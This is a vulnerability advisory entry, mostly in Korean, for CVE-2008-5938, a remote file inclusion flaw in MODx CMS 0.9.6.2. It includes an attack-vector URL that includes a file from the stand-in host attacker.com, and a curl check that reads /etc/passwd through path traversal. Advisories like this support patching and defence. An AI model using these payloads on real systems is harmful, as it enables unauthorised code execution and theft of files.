🔍 CVE-2008-5938

6.8
CVSS Score
MEDIUM
2009-01-22
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

MODx CMS 0.9.6.2 이하 버전의 assets/snippets/reflect/snippet.reflect.php 파일에서 magic_quotes_gpc 비활성화 시 reflect_base 파라미터를 통한 PHP 원격 파일 포함(RFI) 취약점입니다. 공격자는 원격 PHP 파일을 포함시켜 임의의 코드를 실행할 수 있습니다.

💡 쉬운 설명

웹사이트가 사용자의 입력을 검증하지 않고 외부 파일을 불러오는 문제입니다. 해커가 악의적인 코드를 실행할 수 있게 만듭니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in assets/snippets/reflect/snippet.reflect.php in MODx CMS 0.9.6.2 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the reflect_base parameter.

📍 영향받는 시스템

MODx CMS 0.9.6.2 이하 (magic_quotes_gpc 비활성화된 환경)

⚔️ 공격 벡터

http://target/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://attacker.com/malicious.php%00 형태의 URL 조작으로 원격 파일 포함

🛡️ 대응 방법

MODx CMS를 0.9.6.3 이상으로 업데이트하거나 reflect_base 파라미터에 화이트리스트 검증 추가

🔧 검증 코드

시스템 파일(/etc/passwd)이 출력되면 취약함. 404 또는 에러가 나오면 보호됨 또는 최신 버전.

Shell / Script
curl -s 'http://target/assets/snippets/reflect/snippet.reflect.php?reflect_base=../../../../../../etc/passwd%00' | head -20

📊 CVSS Vector String

CVSS Vector
AV:N/AC:M/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP